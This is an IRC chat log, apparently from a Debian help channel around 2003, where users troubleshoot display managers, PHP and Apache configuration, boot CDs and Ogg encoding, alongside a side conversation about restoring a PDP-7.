| 17:43.19 | ToreSB | paulswm: The teletype is a KSR - but I have the Teletype punch and a 300cps optical reader |
| 17:43.32 | ToreSB | paulswm: http://tore.nortia.no/images/tsb |
| 17:44.03 | trans_err | Serial^Killa, so put a proper repository in your sources.list |
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| 17:44.16 | Braindead | Serial^Killa: http://newbiedoc.sourceforge.net/system/apt-get-intro.html |
| 17:44.17 | paulswm | ToreSB: Wow! I am green with envy. Where on earth did you get them? Raid the Smithsonian or the British Museum? |
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| 17:44.49 | qpee | why would the transferspeed of an ftp connection in vmware be deadly slow? |
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| 17:45.15 | karsten | qpee: Heavy electrons |
| 17:45.20 | ToreSB | paulswm: It's all a part of my PDP-7 |
| 17:45.22 | Serial^Killa | Braindead i cant open this site |
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| 17:45.41 | Braindead | Serial^Killa: apt-setup |
| 17:45.48 | ToreSB | paulswm: Where are you located? |
| 17:45.57 | paulswm | ToreSB: I'm looking at one of the pics now. Wow, you lucky guy |
| 17:46.18 | paulswm | ToreSB: Kissimmee, Florida (near Orlando) |
| 17:46.25 | qpee | karsten: we should take protons for heaviness, don't you think so? |
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| 17:46.42 | karsten | qpee: ;-) |
| 17:47.27 | karsten | qpee: I'd look at netstat, load on the VMWare guest OS, and related sorts of stuff. It's possible that you've got bad routing rules or such. Is it just FTP or all network traffic? |
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| 17:47.43 | Nyle | I run damnsmalllinux. I've dpkg-restore and apt-get update from testing and apt-get install synaptic. I am in synaptic now. When I start X, it goes directly to the windowmanager desktop. How can I make it so that when I do startx, it asks me what window manager I want to start as well as which user to login as. |
| 17:47.54 | ToreSB | paulswm: They're doing the same thing in California with a PDP-1 only with much more skilled people. |
| 17:48.05 | qpee | karsten: it only seems to be ftp, http file upload is fast as hell |
| 17:48.15 | ToreSB | paulswm: I didn't know what a potentiometer was before i started :) |
| 17:48.17 | Braindead | Nyle: use xdm,or gdm |
| 17:48.33 | Nyle | so I just download the xdm package? |
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| 17:48.50 | trans_err | Nyle, non-root |
| 17:49.00 | Nyle | huh? |
| 17:49.01 | Braindead | Nyle: nein! apt-get it :) |
| 17:49.02 | jholt | what I nightmare I had reconfigure my entire network but my PowerMac now has a nfsroot |
| 17:49.05 | paulswm | ToreSB: that's amazing. Congratulations on your work |
| 17:49.08 | qpee | karsten: and the guest guest os stuff is loaded |
| 17:49.09 | kzar | When i type "dpkg-reconfigure console-data" it seems to go well but then it doesnt change anything? |
| 17:49.10 | ToreSB | paulswm: A year ago I couldn't even spell coincident-current core - now I am one! :P |
| 17:49.18 | Braindead | Nyle: killall MozillaFirebird-bin |
| 17:49.18 | paulswm | ToreSB: lol |
| 17:49.19 | Nyle | so i do apt-get install xdm |
| 17:49.20 | Nyle | ? |
| 17:49.21 | Braindead | ahem |
| 17:49.21 | ToreSB | paulswm: Thank you :) |
| 17:49.37 | Braindead | Nyle: http://newbiedoc.sourceforge.net/system/apt-get-intro.html |
| 17:49.37 | Braindead | :) |
| 17:49.38 | ToreSB | paulswm: It's more of a miracle than anything else, really :) |
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| 17:49.56 | ToreSB | paulswm: It's not mine - it's in a library and I heard of it by coincidence |
| 17:49.58 | paulswm | ToreSB: now I'm getting all teary eyed for the Good Old Days (tm) |
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| 17:50.15 | ToreSB | paulswm: What computer was your first? |
| 17:50.27 | paulswm | ToreSB: ICT Sirius |
| 17:50.28 | karsten | qpee: Not sure. There's a data and a command channel. I'd suspect timing issues or routing, but that's straight out of /dev/ass. |
| 17:50.28 | Nyle | i need to know what package(s) I need and which files to modify so that it on bootup it starts X with a login manager |
| 17:50.52 | Kraig | Nyle x-session-manager |
| 17:50.54 | ToreSB | paulswm: Never heard of it :\ |
| 17:50.56 | qpee | karsten: sometimes asses help out, eh? ;) |
| 17:51.00 | Nyle | I can't find anything that can help me in google either. Maybe Im looking for wrong keywords |
| 17:51.05 | Nyle | kraig ok |
| 17:51.18 | qpee | karsten: well thanks, i look at the routing tables |
| 17:51.41 | paulswm | ToreSB: ICT = International Computers and Tabulators which eventually combined with English Electric to form ICL |
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| 17:51.49 | karsten | Nyle: apt-get install x-window-system |
| 17:51.57 | kzar | This keyboard thing is so anoying. it was the right keyboard map and everything when i first installed but now its gone all american |
| 17:52.00 | Fox_1_ | tarzeau: hi |
| 17:52.16 | Fox_1_ | tarzeau: how are you? |
| 17:52.17 | Nyle | er.. which is it man? kraig or karsten? |
| 17:52.20 | ToreSB | paulswm: Still, there is no ringing of bells :\ |
| 17:52.26 | tarzeau | hi Fox_1_ , i'm very fine! after yesterday. what about you? |
| 17:52.36 | Kraig | Nyle man x-session-manager |
| 17:52.41 | karsten | Nyle: What did Kraig say? I was ignoring him. |
| 17:52.44 | Nyle | I run fluxbox already |
| 17:52.50 | paulswm | ToreSB: ICL = British company, International Computers Ltd. |
| 17:52.50 | Nyle | so i don't need X |
| 17:52.56 | Nyle | i just need a login manager |
| 17:52.57 | Kraig | lol |
| 17:53.00 | Kraig | thanks karsten |
| 17:53.31 | karsten | Nyle: x-window-system is a virtual package. You'll need an X server, an X display manager (xdm/kdm/gdm/wdm), and a window manager or desktop environment. |
| 17:53.41 | Nyle | ahh |
| 17:54.03 | karsten | Nyle: Given the plethora of system-specific information you were providing, I was giving you the shotgun solution. |
| 17:54.27 | Nyle | wait, so how am I able to do startx and get to my fluxbox desktop, if I don't have the Xserver and window manager |
| 17:54.54 | ToreSB | paulswm: Ah. |
| 17:54.58 | Nyle | so i need a dm right? |
| 17:55.00 | karsten | dpkg be somebody is when I was young, I wanted to be somebody when I grew up. Now I realize I should have been more specific. |
| 17:55.01 | Fox_1_ | tarzeau: fine. and what happend yesterday |
| 17:55.01 | dpkg | karsten: okay |
| 17:55.04 | kzar | Am i supposed to do anything else after doing the dpkg-reconfigure console-data thing or should that be it? |
| 17:55.05 | Braindead | c'mon guys he's only missing ?dm :) |
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| 17:55.26 | karsten | ~tell Nyle about xsession |
| 17:55.50 | karsten | Nyle: Yeah. I'd recommend any of gdm, kdm, or wdm. xdm's a bit spare. |
| 17:56.04 | karsten | !tell Nyle about xsession |
| 17:56.14 | Kraig | Nyle x-session-manager --config --update-alternatives |
| 17:56.19 | Kraig | or something like that |
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| 17:56.37 | karsten | Kraig: update-alternatives --config x-session-manager |
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| 17:56.53 | Kraig | karsten: thanks |
| 17:57.38 | karsten | ToreSB: So where do you have this beauty? |
| 17:57.48 | karsten | ToreSB: ...the PDP7. |
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| 17:58.06 | chris` | hrmmm |
| 17:58.16 | karsten | AciD: All your base are belong to us. |
| 17:58.27 | chris` | Anyone know if it's possible to start a display on :1 with xinit from inside :0? |
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| 17:58.38 | Braindead | chris`: xnest |
| 17:58.43 | AciD | :) |
| 17:58.56 | chris` | Braindead: I don't want to nest them, I just want to start it from within :0 |
| 17:59.25 | karsten | ToreSB: ...and you realize there's a PDP 11 emulator for Debian. |
| 17:59.27 | chris` | I could do it from a terminal outside of X easily enough, but it would be nice if I could just bind it to a key like everything else |
| 18:00.07 | Fox_1_ | tarzeau: do you know why debian's cvs server doesn't work? |
| 18:00.34 | paulswm | ToreSB: you there? I have some URLs for ouy |
| 18:00.36 | tarzeau | Fox_1_: i assume it has something to do with the compromise, but really i don't know |
| 18:00.43 | karsten | chris`: Yes, as root. Otherwise, your /etc/X11/Xwrapper.config prohibits it. |
| 18:00.48 | paulswm | s /ouy/you/ |
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| 18:01.19 | Eto_Demerzel | hi all |
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| 18:01.37 | chris` | karsten: and obviously root isn't feasible, might as well create another user for it |
| 18:01.41 | karsten | ~hi Eto_Demerzel |
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| 18:01.51 | peppo | sg*-utils is a fucking mess in unstable! |
| 18:01.53 | Eto_Demerzel | i have a large number of images to turn into an animated gif or avi (doesn't matter) can someone recommend a program or GIMP plugin for that |
| 18:01.56 | peppo | Unpacking replacement sg-utils ... |
| 18:01.56 | peppo | E: Sub-process /usr/bin/dpkg received a segmentation fault. |
| 18:01.56 | peppo | celibat:~# dpkg-deb: subprocess paste killed by signal (Broken pipe) |
| 18:01.59 | peppo | I can't remove it |
| 18:02.03 | peppo | nor install |
| 18:02.08 | peppo | but removing requires it be installed fully |
| 18:02.23 | eye69 | Ive got a program that wants libXv, however I can't find it in sid. |
| 18:02.30 | Fox_1_ | tarzeau: i wrote to debian-admin but they are not answer me. |
| 18:02.51 | tarzeau | Fox_1_: they probably are busy recovering things |
| 18:03.23 | karsten | chris`: See what I told you. Nonprivileged users shouldn't be able to start X sessions unless they're at console. |
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| 18:03.54 | amphi | Eto_Demerzel: convert (part of ImageMagick) will make a gif, dunno about avi |
| 18:04.18 | chris` | karsten: ah, 'allowed_users' |
| 18:04.21 | karsten | ToreSB: Nice blurry pics ;-) |
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| 18:04.28 | paulswm | ToreSB: 2nd machine I worked on (Ferranti/ITC Pegasus), pic at http://ed-thelen.org/comp-hist/EarlyBritish-p080.jpg, computer spec at http://ed-thelen.org/comp-hist/EarlyBritish-App.html#Ap-02 |
| 18:04.37 | Eto_Demerzel | amphi thanks a lot - i wish it was easier looking for stuff like "gif" or "avi" using apt-cache but i couldn't sort through the mess :( |
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| 18:04.50 | paulswm | s/ITC/ICT/ |
| 18:04.59 | ToreSB | paulswm: I know about the Ferranti ones :) |
| 18:05.11 | ToreSB | karsten: Hehe, there is a disclaimer at /images/ :) |
| 18:05.26 | karsten | chris`: Yes. |
| 18:05.28 | amphi | Eto_Demerzel: gifsicle IIRC is a good compression optimiser for gifs |
| 18:05.34 | karsten | chris`: Again, there's reasons it's set like it is. |
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| 18:05.45 | chris` | karsten: understandable |
| 18:05.45 | ToreSB | karsten: And yes, I do, I use it extensively. In the same package, the -7 is emuated as well. |
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| 18:05.54 | karsten | ToreSB: At 56k, I'll read that in an hour or so. |
| 18:06.06 | amphi | Eto_Demerzel: FWIW, mpeg_encode will make an mpeg from a series of images, if that's any use to you |
| 18:06.14 | karsten | ToreSB: OK. |
| 18:06.15 | ToreSB | karsten: (I'm scrolling backwards) It's in the University Informatics Library in Oslo, Norway |
| 18:06.19 | overflow | Hey, Anybody could tell me how to use K3b and cdrdao without the ide-scsi emulation on kernel 2.6? |
| 18:06.43 | karsten | ToreSB: How much console paper are you going through? I'd think that would get old.... |
| 18:06.52 | ToreSB | karsten: It's not alive yet. |
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| 18:07.03 | karsten | ToreSB: ...and do you offer shell accounts ;-) |
| 18:07.03 | paulswm | ToreSB: I think Ferranti turned into ICT, certanly the Pegasus that I worked on was by then called the ICT Pegasus, and it would be too much of a coincidence to have two companies naming similar computers after constellations |
| 18:07.12 | Mave | overflow: you need sid version of cdrdao |
| 18:07.26 | muncc2beo | On sarge, I installed the phpmyadmin package, but when I go to http://127.0.0.1/phpmyadmin, Mozilla and Konqueror tell me it doesn't know what to do with the x-httpd-php mime type. What do I have to do to correct this? |
| 18:07.32 | ToreSB | karsten: Neither the Teletype nor the CPU - there is a reason it's called the PDP-7 Restoration Project :) |
| 18:07.40 | overflow | Mave: Im using SID |
| 18:07.46 | Enverex | muncc - PHP isn't installed properly |
| 18:07.56 | Mave | overflow: nice |
| 18:07.57 | Enverex | It's being parsed as plain text |
| 18:08.10 | muncc2beo | Enverex: what do I have to do, dpkg-reconfigure? |
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| 18:08.36 | Enverex | I compiled PHP and Apache manually, so I can't help you there i'm afriad |
| 18:08.40 | Enverex | *a/i |
| 18:08.42 | gothtec | gah! when trying to run doom with dosemu, all I get is a segmentation fault. can anyone direct me to a working dosemu.conf ? |
| 18:08.53 | overflow | Mave: but when I run k3b it shows a warning sayin that cdrdao do not support ATAPI cd writer |
| 18:08.56 | muncc2beo | Anyone have any ideas? |
| 18:09.06 | karsten | ToreSB: Ah.... |
| 18:09.35 | Enverex | Have you actually edited the apache httpd.conf file to deal with php files and load the .so file? |
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| 18:09.58 | Mave | overflow: I don'T use it but cdrdao supports it like --device /dev/hdc . check bts and file a bug report if necessary |
| 18:10.22 | karsten | ToreSB: Great shot: http://tore.nortia.no/images/tsb/pages/s2010001_jpg.htm |
| 18:10.24 | Eto_Demerzel | amphi so i should do confert -quality 7 -append *.gif ? |
| 18:10.25 | casterman | is there a installation floppy for debian that wipes out a computer and install it self? |
| 18:10.32 | karsten | ToreSB: What's in the blue cabinets? |
| 18:10.39 | casterman | install from network |
| 18:10.59 | karsten | ToreSB: ...and is that a 'scope in the third panel up from the desk? |
| 18:11.02 | Nyle | well im now installing Xfree86-xserver, xdm, and a login.app. Is that all or do I anything else? |
| 18:11.19 | karsten | ToreSB: Doh. Yes. |
| 18:11.19 | karsten | ToreSB: http://tore.nortia.no/images/tsb/pages/s2010012_jpg.htm |
| 18:12.16 | karsten | casterman: Not per se. But there are lots of installers. |
| 18:12.46 | djw | why oh why do I get depmod: *** Unresolved symbols in /lib/modules/2.4.22/kernel/foo for all the kernel modules that are modules |
| 18:13.49 | casterman | can i install debian without cdtrom? |
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| 18:14.03 | djw | casterman: yes |
| 18:14.14 | djw | casterman: but a floppy install can very quite painful |
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| 18:14.41 | ToreSB | karsten: The logic :) |
| 18:14.41 | karsten | casterman: Yes, you can install w/o CDROM. |
| 18:14.42 | casterman | how many floppies? |
| 18:15.00 | karsten | ~tell casterman about chroot install |
| 18:15.02 | petemc | 2, or one 2.88 floppy |
| 18:15.09 | karsten | ToreSB: Like... ROM? |
| 18:15.20 | karsten | ToreSB: ...or is that core? |
| 18:15.22 | ToreSB | karsten: There is no ROM in it |
| 18:16.19 | karsten | ToreSB: fbog. |
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| 18:16.32 | karsten | ToreSB: ...Ah. ROM. What about RAM? |
| 18:16.36 | ToreSB | karsten: Well... Cabinet 1 is 8K core. cabinet 2 is 8K core + CPU, Cabinet 3 is console, table, punch & reader, and the Extended Arithmetic Element, cab 4 contains all the IO, while cab 5 has the tape decks, and the 550 tape controller |
| 18:16.37 | Razor321 | hi |
| 18:16.41 | ToreSB | core = RAM |
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| 18:16.52 | karsten | ToreSB: WTF is "logic"? |
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| 18:17.35 | karsten | ToreSB: Thanks. |
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| 18:17.55 | DeLeTe | hi |
| 18:18.08 | gothtec | gah! when trying to run doom with dosemu, all I get is a segmentation fault. can anyone direct me to a working dosemu.conf ? |
| 18:18.11 | muncc2beo | Enverex: I uncommented the LoadModule line, as well as the AddType lines |
| 18:18.28 | DeLeTe | i have a problem when i try to load usb-uhci: /lib/modules/2.4.23/kernel/drivers/usb/host/usb-uhci.o: init_module: No such device |
| 18:18.32 | Enverex | what does the loadmoule line look like? |
| 18:18.38 | azreal | this font thing is pissimg me off, i still only see serif and sans serif in mozilla, all of the true type fonts i installed show up under the other pulldows |
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| 18:18.47 | muncc2beo | LoadModule php4_module /usr/lib/apache/1.3/libphp4.so |
| 18:18.55 | DeLeTe | what is init_module ? |
| 18:19.11 | Enverex | Does that file actually exist? |
| 18:19.13 | Nyle | update-alternatives --config x-session-manager says no alternatives for xsession |
| 18:19.22 | Enverex | And did you restart apache after uncommening those line? |
| 18:19.24 | Enverex | *s |
| 18:19.42 | jholt | Nyle, dpkg --reconfigure xdm |
| 18:19.45 | azreal | the HOWTO says "netscape" variable width, is that the same a proportianal in mozilla? am i missing something? |
| 18:20.15 | muncc2beo | Enverex: yes, on both questions |
| 18:20.21 | Enverex | hmm |
| 18:20.31 | Enverex | no idea then, sorry |
| 18:20.40 | muncc2beo | Enverex: phpmyadmin has its own apache config file, do you think it could be something in that? |
| 18:20.54 | muncc2beo | Enverex: is there a way to check if the modules actually loaded? |
| 18:21.03 | Nyle | it says dpkg: conflicing actions --control and --remove. unknown option --reconfigure |
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| 18:21.24 | NuTTeR | gothtec: why not run doom nativly? |
| 18:21.37 | paulswm | ToreSB: dammit, you've brought back some memories. |
| 18:21.57 | ToreSB | paulswm: Please don't hit me :) |
| 18:22.00 | Enverex | Shouldn't be anything to do with phpmyadmin |
| 18:22.13 | karsten | paulswm: Where I'm from, those are called flashbacks. |
| 18:22.14 | gothtec | NuTT: I do not want to risk fucking up my partitions by installing dos |
| 18:22.30 | gothtec | NuTTeR: sotty |
| 18:22.30 | paulswm | ToreSB: no, good memories, although it's always a bit sad, grieving for the past |
| 18:22.32 | gothtec | gah |
| 18:22.34 | gothtec | sorry |
| 18:22.36 | gothtec | stupid keyboard |
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| 18:22.41 | Enverex | You do know phpmyadmin is a mySQL administering program, dont you? |
| 18:22.45 | ToreSB | paulswm: :) |
| 18:22.47 | muncc2beo | Enverex: yes |
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| 18:22.58 | muncc2beo | Enverex: in its config file, there's this line: |
| 18:23.02 | muncc2beo | <IfModule mod_php4.c> |
| 18:23.03 | paulswm | karsten: I worked several nights on an ICL 1900 accompanied by acid |
| 18:23.12 | ToreSB | paulswm: A florida friend of mine has a PDP-8 in his parents' basement :) |
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| 18:23.21 | dinet | hawe anyone here compiled centericq 4.9.9 with the msn patch? |
| 18:23.26 | paulswm | ToreSB: tell me where, I'll go get it :) |
| 18:23.34 | Enverex | Ignore it, its apache where you need to look... |
| 18:23.46 | muncc2beo | Enverex: ok |
| 18:23.47 | ToreSB | paulswm: Heh, he works at Opera now, actually - He's currently in Norway |
| 18:24.12 | karsten | paulswm: ;-) |
| 18:24.16 | paulswm | ToreSB: good, he's out of town, he won;t miss it until I'm long gone :) |
| 18:24.22 | paulswm | karsten: far out, man |
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| 18:24.47 | ToreSB | GahahahhHAHAHAHAHA - someone needs to look up Cologne in the dictionary |
| 18:24.49 | ToreSB | http://www.engrish.com/detail.php?imagename=car_air_freshener.jpg&category=Toiletries&date=2003-03-17 |
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| 18:25.43 | paulswm | ToreSB: lol, that is hilarious |
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| 18:25.48 | muncc2beo | Enverex: so is it possible to check that the module is really loaded? |
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| 18:26.16 | Enverex | Well, if that line was wrong then apache wouldn't have started, so that file must be there... |
| 18:26.49 | muncc2beo | Enverex: oh well. Do you know of any other nice gui tools for modifying MySQL? |
| 18:26.50 | ToreSB | paulswm: Oh god - look at this one http://www.engrish.com/detail.php?imagename=spermmouse.jpg&category=Computer&date=2002-10-06 |
| 18:26.51 | karsten | ToreSB: What's this? http://tore.nortia.no/images/tsb/pages/s2010008_jpg.htm |
| 18:27.15 | ToreSB | karsten: The CPU |
| 18:27.24 | Enverex | Nope, I use phpMyAdmin :rolleyes: |
| 18:27.24 | paulswm | ToreSB: rotfl |
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| 18:27.30 | paulswm | mouse sperm |
| 18:27.37 | gothtec | Argh! I've tried three different dosemu.conf files from people who do have it up and running, and all that happens when I run doom in xdosemu is "/usr/bin/xdosemu: line 193: 6893 Segmentation fault $BINARY $MAINARGS "${par[@]}" 2>$LOG". When I try it in dosemu, it just hangs. Help?! |
| 18:27.49 | ToreSB | paulswm: http://www.engrish.com/category_index.php?category=Computer :) |
| 18:27.54 | karsten | ToreSB: Wow... |
| 18:28.07 | soleil | does anyone know if these {http://people.debian.org/~dwhedon/boot-floppies/} are bootable cds? |
| 18:28.29 | muncc2beo | Enverex: can I /dcc you my httpd.conf file? WOuld you mind checking it? |
| 18:28.35 | Pryon | "boot-floppies" does not imply bootable CDs |
| 18:28.42 | galois | how do I set the default permissions for new files in a directory? |
| 18:28.48 | Enverex | Sure |
| 18:28.51 | paulswm | ToreSB: OK, I'm bookmarking the website, it is too funny |
| 18:29.04 | galois | soleil: yes |
| 18:29.09 | Enverex | soleil: Thy are bootable CDs |
| 18:29.47 | Pryon | interesting naming scheme, then |
| 18:30.00 | soleil | Enverex, hmm ok. well, i modified one of the .iso's to have more files on it, but it doesnt boot when i burn it |
| 18:30.13 | Enverex | Mine booted... |
| 18:30.21 | soleil | Enverex, i noticed a lot of cdrecord boot cd options, but i didnt know what to do so i ignored them heh |
| 18:30.33 | Enverex | Thats probably why |
| 18:30.42 | soleil | hehe |
| 18:30.47 | soleil | anyone care to assist me then? |
| 18:30.52 | karsten | ToreSB: The control key is in the *right* position: http://tore.nortia.no/images/tsb/pages/s2010002_jpg.htm |
| 18:30.59 | muncc2beo | Enverex: did you get the file? |
| 18:31.12 | karsten | ToreSB: ...and it appears that the shorty space bar has been around for a while. |
| 18:31.47 | ToreSB | karsten: This was the console on which UNICS was developed |
| 18:32.08 | ToreSB | karsten: It is also the reason for why everything in Unix is lower case |
| 18:32.13 | karsten | ToreSB: Style, or original PDP-7? |
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| 18:32.27 | karsten | ToreSB: Right. I'm sort of familiar with the story. |
| 18:32.28 | Enverex | muncc2beo: yeah, checking it |
| 18:32.35 | muncc2beo | Enverex: ok, thanks |
| 18:32.38 | Crell | Inquiry. What's the build options on the new kernel-image-2.4.23 in sid? |
| 18:32.39 | karsten | ToreSB: ...and you know why DEC is all UPPERCASE. |
| 18:32.44 | ToreSB | karsten: Well, Unix was made on TTY33's |
| 18:32.50 | soleil | i dont see a 1.44MB file anywhere on this iso... how is El Torito booting it? |
| 18:33.05 | hyksos | what is high or bad as load average in "uptime" command? |
| 18:33.06 | ToreSB | karsten: Yes.... because it's an abbreviation of Digital Equipment Corporation... |
| 18:33.17 | Enverex | I think you are missing the lines.... |
| 18:33.18 | Enverex | AddType application/x-httpd-php .php .phtml .php3 .php4 |
| 18:33.18 | Enverex | AddType application/x-httpd-php-source .phps |
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| 18:33.32 | muncc2beo | Enverex: I think they're there |
| 18:33.41 | ToreSB | paulswm: http://www.engrish.com/detail.php?imagename=scooter-z.jpg&category=Instructions&date=2002-10-19 :D |
| 18:33.55 | Enverex | so they are |
| 18:33.58 | muncc2beo | AddType application/x-httpd-php .php |
| 18:33.58 | muncc2beo | <PROTECTED> |
| 18:34.08 | wobbler | ThatGuy hello |
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| 18:34.12 | coolnewbie | most of the games installed with apt-get dosent seem to work why(gl-117) |
| 18:34.15 | muncc2beo | and phpmyadmin is using .php extensions.... |
| 18:34.15 | karsten | ToreSB: Not according to the Jargon File. Ken Olson didn't want the Lord's name to be lowercased, and they didn't have an option to mix cases. Or something like that. |
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| 18:34.28 | Enverex | You have actually installed PHP haven't you? |
| 18:34.31 | beta3 | how do I encrypt a drive |
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| 18:34.42 | beta3 | or partition even |
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| 18:34.49 | paulswm | ToreSB: :) |
| 18:35.06 | tpk_ | beta3: cfs will do |
| 18:35.08 | muncc2beo | Enverex: from apt-get: |
| 18:35.10 | muncc2beo | php4 is already the newest version. |
| 18:35.22 | paulswm | ToreSB: http://www.engrish.com/recent_detail.php?imagename=santa-please-stop.jpg&category=Signs/Posters&date=2003-12-19 |
| 18:35.23 | ToreSB | karsten: The jargon file would be wrong |
| 18:35.30 | Enverex | I give up. I find it alot easier to do it manually |
| 18:35.46 | beta3 | tpk_: can I use reiserfs on top of that |
| 18:35.46 | muncc2beo | Enverex: I might do that, then |
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| 18:35.55 | ToreSB | paulswm: HAHahahhaa :D |
| 18:36.13 | tpk_ | beta3: "underneath" I believe, read up on it (never used it) |
| 18:36.18 | jholt | ahh dmesg says my printer is on fire!! |
| 18:36.24 | Nyle | crap.. i got it to work fine, login manager at start of x, but now my keyboard isn't working |
| 18:36.31 | Nyle | I can't type anything in the login box |
| 18:36.32 | beta3 | tpk_: I remember reading about cfs, and chose that I didn't want it |
| 18:36.37 | kzar | Im tyring to get my keyboard map setup right. I have done the "dpkg-reconfigure console-data" thing but it doesn't seem to have done anything. Do I need to do anything more? |
| 18:36.44 | beta3 | tpk_: it supposedly easier to use cryptloop |
| 18:36.45 | Nyle | i did alt crtl backspace |
| 18:36.51 | Nyle | no luck |
| 18:36.57 | t35t0r | hi i have ati mobile radeon 9600, i installed ati graphic drivers v3.2.8 from ati and tried both the default FireGL workstation and GNU compatibility modes but when X starts up I just get a black screen with a large mouse pointer that moves around then after a while it freezes anyone else get this driver to work on mobile radeon 9600? |
| 18:36.58 | ToreSB | paulswm: Oh dear! http://www.engrish.com/detail.php?imagename=mobile_phone.jpg&category=Instructions&date=2002-10-13 :D |
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| 18:37.27 | greycat | t35t0r: try #ati |
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| 18:37.31 | Wyzard | Is there any good reason to use "mkfs -t foo" rather than "mkfs.foo" ? |
| 18:37.33 | motu | anyone got openafs working with 2.6.0 kernel? |
| 18:37.33 | t35t0r | greycat: no response there |
| 18:38.14 | simonrvn | motu: i compiled but haven't played with 2.6's afs yet. i plan to (it was very crashy in 2.4) |
| 18:38.30 | paulswm | ToreSB: SOny Ericsson, too, you'd think they'd know better, unless it's a knockoff |
| 18:38.32 | motu | simonrvn: compiled which version? |
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| 18:38.41 | simonrvn | 2.6.0 |
| 18:38.50 | simonrvn | 2.6.0-ben1 |
| 18:38.50 | motu | oh, u mean the built in support |
| 18:38.54 | simonrvn | yes |
| 18:38.59 | motu | but isnt that read-only? |
| 18:39.00 | oskie | we need support for threaded discussion in IRC clients! |
| 18:39.09 | o-o | is afs usable at all? When ever I tried it I ended up in a morass of dysfunctional software. |
| 18:39.17 | ToreSB | paulswm: I think it was the service provider's label |
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| 18:39.28 | simonrvn | it is. just need to set it up properly |
| 18:39.29 | paulswm | ToreSB: aaah |
| 18:39.31 | spo0nman | ~check |
| 18:40.17 | o-o | simonrvn: that rises my confidence in afs skyhigh... |
| 18:40.23 | tommyj | what's the maximum bitrate for vorbis ogg audio? |
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| 18:40.36 | greycat | tommyj: -q 10 which is ~400 or 500 kbps |
| 18:40.38 | peppo | d'oh |
| 18:40.40 | Wyzard | I used to have OpenAFS working just fine, but stopped using it because it took longer to compile than the kernel itself |
| 18:40.43 | peppo | what is woody? stable? |
| 18:40.44 | soleil | tommyj, its VBR |
| 18:40.48 | simonrvn | o-o: hehehe. i stopped becuase i didn't have a partition for it |
| 18:40.49 | greycat | peppo: yes |
| 18:40.56 | motu | simonrvn: if its read-only, its not of much use |
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| 18:41.15 | coolnewbie | why do these 3dgames installed with apt-get fail to work |
| 18:41.18 | simonrvn | motu: why would it be r/o? |
| 18:41.19 | greycat | tommyj: but if you want files in the 500 kbps range, just go lossless (FLAC) |
| 18:41.23 | peppo | does woody have linux kernel 2.2? |
| 18:41.27 | Enverex | Ogg Vorbis quality 10 is ~400Kbps |
| 18:41.28 | greycat | peppo: yes. and 2.4 also. |
| 18:41.36 | Enverex | (0.0>>1.0) |
| 18:41.38 | jholt | peppo, because its stable? |
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| 18:41.41 | motu | simonrvn: cuz the info in the kernel source says so |
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| 18:41.49 | intx | what's kpop? |
| 18:41.51 | tommyj | greycat: ok, what's the command-line option for that? (oggenc) |
| 18:41.57 | simonrvn | motu: which doc? |
| 18:41.58 | soleil | time to check if cd boots now, brb |
| 18:42.07 | simonrvn | oh that reminds me.. |
| 18:42.15 | intx | is it possible to compile 2.6 properly on woody? |
| 18:42.16 | jnsk | how can I find out the current synchronization rate on X |
| 18:42.24 | motu | simonrvn: if u do menuconfig or xconfig, and look at the info for afs |
| 18:42.24 | greycat | tommyj: for FLAC? I've only ever used the FLAC tools to make FLAC files; I haven't made FLAC-in-Ogg yet. |
| 18:42.36 | tommyj | greycat: oh, it's a different format? |
| 18:42.41 | Daniel304 | hey guys/girls: looking for the config file to add a second NIC (I recently added a second 3com 3x905 but only the first one is added as eth0 though both are recognised |
| 18:42.57 | peppo | jholt, eh? I was just asking! |
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| 18:43.03 | greycat | tommyj: there's a native .flac format, and FLAC can also be put into an .ogg file format. |
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| 18:43.11 | greycat | tommyj: the latter is new in oggenc 1.0.1 |
| 18:43.12 | simonrvn | motu: ok |
| 18:43.15 | tommyj | greycat: I see. ok, thanks. |
| 18:43.17 | boffer | I use a kernel with modules disabled, but I get alot of messages about not finding modules blah blah. Dmesg however, doesn't show these lines |
| 18:43.22 | Enverex | where abouts in the Woody ISO would I have to put my own bzImage to boot my custom kernel? |
| 18:43.32 | lorax | i am running woody with kernel 2.4.20 i want to up to kernel 2.6 is there anything i need to know or have installed first? |
| 18:43.51 | the1 | lorax..a compiler |
| 18:43.54 | tommyj | greycat: is setting the quality to 10 (with -q 10) the same as doing -b 500 ? |
| 18:44.01 | greycat | lorax: yes, you need a backported module-init-tools |
| 18:44.12 | greycat | tommyj: you should always be using -q settings |
| 18:44.23 | tommyj | greycat: ok, why is that? |
| 18:44.40 | Enverex | Because they are turned for quality |
| 18:44.44 | greycat | tommyj: because without -managed, -b is just mapped to a -q setting anyway |
| 18:44.51 | Enverex | -q 10 is the best setting |
| 18:44.55 | greycat | tommyj: Vorbis is natively VBR |
| 18:44.55 | tommyj | greycat: ok, thanks |
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| 18:45.04 | tommyj | VBR = ? |
| 18:45.09 | intx | variable bitrate |
| 18:45.12 | Enverex | Variable Bit Rate |
| 18:45.13 | jholt | varible bitrate |
| 18:45.19 | tommyj | oh, ok. |
| 18:45.23 | briankeys | has anyone gotten any SSH client to work properly with ncurses? |
| 18:45.23 | tommyj | so -q 10 then :) |
| 18:45.28 | tommyj | thanks for your help :) |
| 18:45.40 | greycat | briankeys: what's the problem? |
| 18:45.45 | the1 | briankeys: I've ran ncurses apps through an ssh connection.... |
| 18:45.51 | jholt | briankeys, I use make menuconfig from ssh client all the time |
| 18:45.52 | lorax | is qt quicktime? |
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| 18:46.00 | tarzeau | lorax: yes |
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| 18:46.04 | tommyj | lorax: no |
| 18:46.04 | tarzeau | lorax: no |
| 18:46.09 | the1 | qt is a library |
| 18:46.11 | greycat | lorax: sometimes |
| 18:46.17 | tommyj | :P |
| 18:46.21 | the1 | graphics library |
| 18:46.29 | tarzeau | the1: not really |
| 18:46.36 | tommyj | lorax: used by for example KDE. |
| 18:46.43 | jholt | qt the graphics library that mostly kde apps uses |
| 18:46.51 | tommyj | *used in |
| 18:46.54 | lorax | ok thanks all |
| 18:46.56 | briankeys | greycat, the1, jholt, see: http://post.briankeys.net/putty1.PNG |
| 18:47.01 | the1 | QT == toolkit |
| 18:47.16 | lorax | i have kde and am installing libqt-dev for make xconfig on 2.6 |
| 18:47.16 | the1 | gtk for gnome, qt for kde |
| 18:47.26 | amphi | briankeys: did you try export TERM=putty ? |
| 18:47.27 | Enverex | briankeys: I get that too, I tend to ignore it |
| 18:47.40 | tommyj | briankeys: what kind of putty is that? win? mac? |
| 18:47.45 | jholt | xconfig requires qt? |
| 18:47.54 | briankeys | Windows XP, tommyj |
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| 18:47.59 | briankeys | amphi, what? :) |
